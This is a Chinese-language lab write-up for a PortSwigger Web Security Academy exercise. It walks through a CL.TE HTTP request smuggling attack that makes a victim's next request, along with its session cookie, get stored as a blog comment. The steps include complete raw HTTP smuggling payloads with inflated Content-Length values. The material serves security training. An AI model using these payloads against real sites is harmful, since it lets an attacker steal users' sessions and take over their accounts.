> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/request-smuggling/capture-queries-from-other-users.md).
# 截获其他用户的查询
截获其他用户的查询笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。
### 利用 HTTP 请求走私捕获其他用户的请求
实验室正在搭建一个前端服务器和一个后端服务器。前端 **不支持分块编码**. / 目标是 **走私者** 向后端发送一个请求，以便 **下一个用户请求** 是 **被应用程序存储**. / 然后， **恢复此请求** 并使用 **受害者的 cookies** 访问他的账户。
实验室模拟了一个受害者用户：发送的少数几个 POST 请求中，受害者会执行他自己的请求。 / 有时需要重复该攻击多次。
> 尽管该实验室允许使用 HTTP/2，但解决方案必须使用 **HTTP/1** 因为某些技术只能在该协议中实现。" " 前端解释 **Content-Length**，而后端将 **Transfer-Encoding: chunked**，从而产生一个可利用的偏移。" " Burp 扩展 HTTP Request Smuggler 可以帮助手动修正长度。
#### 1. **前端解释的请求**
前端读取 `Content-Length: 13`，然后还会看到 `Transfer-Encoding: chunked`:
```http
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Transfer-Encoding: chunked
0
postId=6
```
在块结束后（`0`），会添加一个额外的后端请求。
#### 2. **注入一个用于发布评论的 POST 请求**
你构造一个走私请求，其中包含第二个完整请求：
```http
POST / HTTP/1.1
Host: 0a36007e032121be824c43d100150069.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 285
Transfer-Encoding: chunked
0
postId=6
POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=jjCIZY2wVTQVhJ6tfWqnEV3pftTw4Rus
Content-Length: 130
csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=6&comment=test&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com
```
结果：/ 走私请求被当作来自你自己的会话处理，应用程序发布了该评论。
#### 3. **强制受害者发布评论**
你将请求体修改为：
{% code overflow="wrap" %}
```http
csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=6&comment=HackedByJordan&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com
```
{% endcode %}
```http
POST / HTTP/1.1
Host: 0a36007e032121be824c43d100150069.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 287
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=jjCIZY2wVTQVhJ6tfWqnEV3pftTw4Rus
Content-Length: 134
csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=7&comment=HackedByJordan&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com
```
并发送一个类似请求。 / 重新加载时，应用会显示 **感谢你的评论**，这表明受害者发布了这条评论。
#### 4. **准备捕获受害者的请求**
要捕获受害者用户的完整请求，你将大幅增加 `Content-Length` 使后端将以下请求当作内容来处理：
```http
Content-Length: 1000
csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=4&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com&comment=HACKED
```
随后，受害者发送的下一个请求会被吸收到预期的请求体中…… / 并变成 **可在应用程序的存储中查阅**.
---
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